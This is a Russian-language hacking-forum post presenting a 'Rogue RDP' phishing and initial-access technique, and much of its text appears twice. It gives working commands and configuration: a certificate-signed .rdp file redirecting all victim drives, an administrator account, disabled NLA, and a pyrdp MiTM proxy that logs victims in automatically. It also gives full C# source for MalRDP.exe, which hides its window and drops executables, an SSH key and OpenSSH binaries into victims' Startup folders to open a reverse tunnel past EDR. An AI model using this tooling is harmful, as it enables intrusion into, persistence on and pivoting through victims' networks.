D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
За последний год EDR и XDR значительно повысили уровень защиты от фишинга. Особые трудности доставляет эвристический анализ. Классическая рассылка документов теперь почти не работает. В качестве альтернативы я выбрал Rogue RDP как средство доставки и технику Living off the Land Binaries — для первичного доступа в сети заказчика.
Концепция LOLBAS заключается в использовании предустановленных в системе средств средств и приложений с цифровой подписью Microsoft для достижений цели при пентесте или в хакерской атаке. Этот метод уже не однократно позволял злоумышленникам обходить распространенные средства обнаружения и блокировки вредоносных программ.
Сразу отмечу, что все заслуги здесь принадлежат Майку Фелчу из Dark Optics. Файл RDP содержит настройки для подключения к удаленному рабочему столу, и поскольку большинство корпоративных сред используют RDP для коллективной работы, в Microsoft добавили множество функций для совместного использования файлов и принтеров, доступа к содержимому буфера обмена, устройствам захвата аудио и видео, смарт‑картам и даже подключаемым устройствам. Именно эти особенности я и буду использовать в качестве вектора получения первичного доступа.
Для реализации Rogue RDP нужно создать машину на Windows с белым IP адресом. Далее установить WSL (Windows Sub System For Linux) и перезапустить систему:
Код: Скопировать в буфер обмена
В оболочке WSL нужно установить python3, certbot и git:
Код: Скопировать в буфер обмена
Теперь настроим записи DNS и получим для них сертификат SSL. Покупаем домен и создаем A-запись для нашего сервера.
С помощью Certbot получаем SSL-сертификат Let's Encrypt для нашего домена (мы будем использовать его для подписания файла RDP и получения большей визуальной легитимности), для этого используем команду в оболочке WSL:
Код: Скопировать в буфер обмена
Закрытый и открытый ключи сохранятся в файловой системе WSL:
Код: Скопировать в буфер обмена
Теперь преобразуем их в формат PFX с помощью OpenSSL:
Код: Скопировать в буфер обмена
Следующий шаг — установить этот сертификат в магазин сертификатов Windows. Для этого кликаем правой кнопкой мыши на файле PFX, жмем Install PFX и следуем инструкциям. Когда сертификат установлен, получаем его отпечаток и можем использовать его для подписи файла RDP.
Копируем отпечаток сертификата: certmgr.msc → Personal → Certificates → двойной клик по нашему сертификату → Details → Thumbprint. Он нам понадобится для следующего шага.
Создаем файл RDP, который будем использовать при рассылке, и вставляем в него следующее:
Код: Скопировать в буфер обмена
Теперь подписываем этот файл:
Код: Скопировать в буфер обмена
Проверяем, что он действительно подписан.
Создаем нового пользователя для подключения наших жертв:
Код: Скопировать в буфер обмена
Я придерживаюсь мнения, что фраза «красота в простоте» идеально применима к фишингу, так как мы всегда хотим уменьшить количество действий, которые жертва должна выполнить для успешного выполнения задуманного сценария. Ввод пароля при поключении по RDP создаст дополнительные трудности в подключении человека к нашей машине.
Чтобы упростить задачу пользователю, применим утилиту pyrdp, которая действует как прокси‑сервер MiTM и позволит жертве автоматически пройти аутентифификацию.
Снова открываем оболочку WSL и устанавливаем pyrdp:
Код: Скопировать в буфер обмена
Перед запуском необходимо убедиться, что NLA (Network Level Authentication) отключена для нашего RDP-сервера. Открываем Windows Settings → Remote Desktop → Advanced Settings и убираем флажок Require computers to use Network Level Authentication to connect.
Второй способ отключения — с помощью gpedit.msc. Открываем Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security и отключаем настройку Require user authentication for remote connections by using Network level authentication.
Теперь все готово к запуску pyrdp (публичный и закрытый ключ сертификата необходимы, чтобы жертва не получила никаких предупреждений SSL):
Код: Скопировать в буфер обмена
Проверим процесс подключения с запущенным pyrdp и увидим ошибку.
Она фиксится добавлением кастомного статуса в следующий скрипт:
Код: Скопировать в буфер обмена
Теперь при запуске файла .rdp, мы не получим предупреждения SSL, и соединение пройдет без необходимости вводить учетные данные. Также видим, что у сеанса RDP есть доступ к файловой системе хоста.
На этом этапе у нас есть только файл RDP, который автоматически подключится к нашему серверу без необходимости вводить пароль и будет предоставлять файловую систему хоста жертвы нашему серверу. Есть несколько способов использовать этот уровень доступа, лично я предпочитаю добавлять нашу программу в папку Startup и ждать выполнения при следующем входе в систему.
Давай напишем на на C# простую программу и назовем MalRDP.exe. При запуске будет она будет подключаться к файловой системе хоста жертвы (в частности, к диску C), искать любую папку Startup, к которой у нее есть доступ, и копировать в нее два простых и безобидных скрипта, которые сами по себе не представляют никакой угрозы и не детектируются антивирусом. Также наша программа будет копировать несколько совершенно легитимных файлов (LOLbins), о которых я расскажу дальше.
Код программы:
Код: Скопировать в буфер обмена
Создадим папку C:\Netlogon, и скопируем в нее скомпилированную программу и остальные файлы. Также создадим файл tsuser.bat, который просто запускает MalRDP.exe:
Код: Скопировать в буфер обмена
Теперь установим tsuser.bat в качестве скрипта входа для tsuser. Открываем Computer Management → System Tools → Local Users and Groups → Users, дважды кликаем по tsuser → Profile и пропишем tsuser.bat в Logon Script field.
Когда жертва подключится к нашему RDP-серверу, на нем запустится наша программа, которая сможет взаимодействовать с файловой системой жертвы, потому что корпорация Microsoft предоставила отличные возможности коду, работающему в среде RDP-сервера.
Запущенные отсюда программы могут взаимодействовать с подключенными клиентами с помощью перенаправления устройств. Это позволяет получить доступ к локальным дискам, принтерам и прочим ресурсам через удаленный рабочий стол. Серверы могут перечислять файловую систему подключенного клиента, используя пути к папкам, вроде \\tsclient\c\ (диск C), или даже смонтированные сетевые файловые ресурсы с помощью такого пути:
Код: Скопировать в буфер обмена
SSH предлагает некоторые захватывающие возможности в рамках нетрадиционного вектора начального доступа. С его помощью мы и получим желанный туннель реверс‑прокси в целевую сеть, в обход средств защиты.
Так как SSH на старых версиях Windows не предустановлен по умолчанию, принесем его с собой и положим в папку Pictures, способом описанным ранее. Тащить с собой все долго, и нам хватит лишь двух бинарей: libcrypto.dll; ssh.exe. Скачать
Концепция LOLBAS заключается в использовании предустановленных в системе средств средств и приложений с цифровой подписью Microsoft для достижений цели при пентесте или в хакерской атаке. Этот метод уже не однократно позволял злоумышленникам обходить распространенные средства обнаружения и блокировки вредоносных программ.

Сразу отмечу, что все заслуги здесь принадлежат Майку Фелчу из Dark Optics. Файл RDP содержит настройки для подключения к удаленному рабочему столу, и поскольку большинство корпоративных сред используют RDP для коллективной работы, в Microsoft добавили множество функций для совместного использования файлов и принтеров, доступа к содержимому буфера обмена, устройствам захвата аудио и видео, смарт‑картам и даже подключаемым устройствам. Именно эти особенности я и буду использовать в качестве вектора получения первичного доступа.
Для реализации Rogue RDP нужно создать машину на Windows с белым IP адресом. Далее установить WSL (Windows Sub System For Linux) и перезапустить систему:
Код: Скопировать в буфер обмена
wsl --install --enable-wsl1
В оболочке WSL нужно установить python3, certbot и git:
Код: Скопировать в буфер обмена
Код:
apt update
apt install python3 python3-pip git libaugeas0
pip install certbot

С помощью Certbot получаем SSL-сертификат Let's Encrypt для нашего домена (мы будем использовать его для подписания файла RDP и получения большей визуальной легитимности), для этого используем команду в оболочке WSL:
Код: Скопировать в буфер обмена
certbot certonly --cert-name malrdp -d <your.domain.com> --register unsafely-without-email
Закрытый и открытый ключи сохранятся в файловой системе WSL:
Код: Скопировать в буфер обмена
/etc/letsencrypt/live/YOUR_CERT_NAME/
Теперь преобразуем их в формат PFX с помощью OpenSSL:
Код: Скопировать в буфер обмена
openssl pkcs12 -inkey /etc/letsencrypt/live/malrdp/privkey.pem -in /etc/letsencrypt/live/malrdp/fullchain.pem -export -out malrdp.pfx

Следующий шаг — установить этот сертификат в магазин сертификатов Windows. Для этого кликаем правой кнопкой мыши на файле PFX, жмем Install PFX и следуем инструкциям. Когда сертификат установлен, получаем его отпечаток и можем использовать его для подписи файла RDP.
Копируем отпечаток сертификата: certmgr.msc → Personal → Certificates → двойной клик по нашему сертификату → Details → Thumbprint. Он нам понадобится для следующего шага.

Создаем файл RDP, который будем использовать при рассылке, и вставляем в него следующее:
Код: Скопировать в буфер обмена
Код:
screen mode id:i:1
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
winposstr:s:0,1,1904,23,3840,1142
compression:i:1
keyboardhook:i:2
audiocapturemode:i:0
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:0
allow desktop composition:i:0
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:<YOUR_DOMAIN_COM>:443
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
redirectwebauthn:i:1
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskdcproxy:i:0
kdcproxyname:s:
enablerdsaadauth:i:0
redirectlocation:i:0
drivestoredirect:s:*
Код: Скопировать в буфер обмена
rdpsign.exe /sha256 YOUR_CERTIFICATE_THUMBPRINT .\<filename>.rdp
Проверяем, что он действительно подписан.

Создаем нового пользователя для подключения наших жертв:
Код: Скопировать в буфер обмена
Код:
net user tsuser StrongP4ssw0rd /add
net localgroup administrators tsuser /add
Чтобы упростить задачу пользователю, применим утилиту pyrdp, которая действует как прокси‑сервер MiTM и позволит жертве автоматически пройти аутентифификацию.
Снова открываем оболочку WSL и устанавливаем pyrdp:
Код: Скопировать в буфер обмена
pipx install pyrdp-mitm
Перед запуском необходимо убедиться, что NLA (Network Level Authentication) отключена для нашего RDP-сервера. Открываем Windows Settings → Remote Desktop → Advanced Settings и убираем флажок Require computers to use Network Level Authentication to connect.
Второй способ отключения — с помощью gpedit.msc. Открываем Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security и отключаем настройку Require user authentication for remote connections by using Network level authentication.
Теперь все готово к запуску pyrdp (публичный и закрытый ключ сертификата необходимы, чтобы жертва не получила никаких предупреждений SSL):
Код: Скопировать в буфер обмена
Код:
pyrdp-mitm.py 127.0.0.1:3389 -u tsuser -p StrongP4ssw0rd --listen 443 -c /etc/letsencrypt/live/malrdp/fullchain.pem -k
/etc/letsencrypt/live/malrdp/privkey.pem

Она фиксится добавлением кастомного статуса в следующий скрипт:
Код: Скопировать в буфер обмена
...pyrdp-mitm/lib/python3.10/site packages/pyrdp/enum/windows.py

Теперь при запуске файла .rdp, мы не получим предупреждения SSL, и соединение пройдет без необходимости вводить учетные данные. Также видим, что у сеанса RDP есть доступ к файловой системе хоста.

На этом этапе у нас есть только файл RDP, который автоматически подключится к нашему серверу без необходимости вводить пароль и будет предоставлять файловую систему хоста жертвы нашему серверу. Есть несколько способов использовать этот уровень доступа, лично я предпочитаю добавлять нашу программу в папку Startup и ждать выполнения при следующем входе в систему.
Давай напишем на на C# простую программу и назовем MalRDP.exe. При запуске будет она будет подключаться к файловой системе хоста жертвы (в частности, к диску C), искать любую папку Startup, к которой у нее есть доступ, и копировать в нее два простых и безобидных скрипта, которые сами по себе не представляют никакой угрозы и не детектируются антивирусом. Также наша программа будет копировать несколько совершенно легитимных файлов (LOLbins), о которых я расскажу дальше.
Код программы:
Код: Скопировать в буфер обмена
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace MalRDP
{
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSLogoffSession(IntPtr hServer, int sessionId, bool bWait);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int WTS_CURRENT_SESSION = -1;
static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
static void CopyDirectory(string sourceDir, string destDir) {
// Get the subdirectories for the specified directory. DirectoryInfo dir = new DirectoryInfo(sourceDir);
if (!dir.Exists)
{
throw new DirectoryNotFoundException(
"Source directory does not exist or could not be found: " + sourceDir);
}
// If the destination directory doesn't exist, create it. if (!Directory.Exists(destDir))
{
Directory.CreateDirectory(destDir);
}
// Get the files in the directory and copy them to the new location.
FileInfo[] files = dir.GetFiles();
foreach (FileInfo file in files)
{
string tempPath = Path.Combine(destDir, file.Name); file.CopyTo(tempPath, false);
Console.WriteLine($"Copied {file.FullName} to {tempPath}");
}
// Copy subdirectories and their contents recursively. DirectoryInfo[] dirs = dir.GetDirectories(); foreach (DirectoryInfo subdir in dirs)
{
string tempPath = Path.Combine(destDir, subdir.Name); CopyDirectory(subdir.FullName, tempPath); }
}
static void Main(string[] args)
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
int retry = 0;
string[] user_directories = {};
while (retry < 10)
{
try
{
user_directories =
Directory.GetDirectories(@"\\tsclient\C\Users");
break;
}
catch {
}
System.Threading.Thread.Sleep(500);
retry++;
}
string dropperInPath = @"C:\Netlogon\sshishing2.exe"; string sshingInPath = @"C:\Netlogon\sshishing.exe"; string sshInDirPath = @"C:\Netlogon\OpenSSH-Win64"; string sshKeyInPath = @"C:\Netlogon\rsa";
foreach (string dir in user_directories) {
if (dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("Public") || dir.EndsWith("All Users")) continue;
try
{
string dropperOutPath = $@"
{dir}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sshishing2.exe";
string sshingOutPath = $@"
{dir}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sshishing.exe";
string sshOutDirPath = $@"{dir}\Pictures\OpenSSH Win64";
string sshKeyOutPath = $@"{dir}\Pictures\rsa"; if (File.Exists(dropperInPath) &&
!File.Exists(dropperOutPath))
{
File.Copy(dropperInPath, dropperOutPath); }
if (File.Exists(sshingInPath) &&
!File.Exists(sshingOutPath))
{
File.Copy(sshingInPath, sshingOutPath); }
if (File.Exists(sshKeyInPath) &&
!File.Exists(sshKeyOutPath))
{
File.Copy(sshKeyInPath, sshKeyOutPath); }
if (Directory.Exists(sshInDirPath) && !Directory.Exists(sshOutDirPath))
{
CopyDirectory(sshInDirPath, sshOutDirPath); }
}
catch (Exception e)
{
}
}
WTSLogoffSession(WTS_CURRENT_SERVER_HANDLE,
WTS_CURRENT_SESSION, false);
}
}
}
Код: Скопировать в буфер обмена
Start "" "C:\\Netlogon\\MalRDP.exe"`
Теперь установим tsuser.bat в качестве скрипта входа для tsuser. Открываем Computer Management → System Tools → Local Users and Groups → Users, дважды кликаем по tsuser → Profile и пропишем tsuser.bat в Logon Script field.
Когда жертва подключится к нашему RDP-серверу, на нем запустится наша программа, которая сможет взаимодействовать с файловой системой жертвы, потому что корпорация Microsoft предоставила отличные возможности коду, работающему в среде RDP-сервера.
Запущенные отсюда программы могут взаимодействовать с подключенными клиентами с помощью перенаправления устройств. Это позволяет получить доступ к локальным дискам, принтерам и прочим ресурсам через удаленный рабочий стол. Серверы могут перечислять файловую систему подключенного клиента, используя пути к папкам, вроде \\tsclient\c\ (диск C), или даже смонтированные сетевые файловые ресурсы с помощью такого пути:
Код: Скопировать в буфер обмена
\\tsclient\<drive_of_mapped_share>\
SSHishing
После удачного фишинга, как показывает статистика, у нас есть контроль над компьютером жертвы, однако сам по себе он не представляет большого интереса в рамках пентеста. Это лишь дверь во внутреннюю инфраструктуру заказчика. Дальше в ход идут инструменты бокового перемещения (pivoting), применение которых теперь тоже хорошо детектируется средствами защиты.SSH предлагает некоторые захватывающие возможности в рамках нетрадиционного вектора начального доступа. С его помощью мы и получим желанный туннель реверс‑прокси в целевую сеть, в обход средств защиты.

Так как SSH на старых версиях Windows не предустановлен по умолчанию, принесем его с собой и положим в папку Pictures, способом описанным ранее. Тащить с собой все долго, и нам хватит лишь двух бинарей: libcrypto.dll; ssh.exe. Скачать
View hidden content is available for registered users!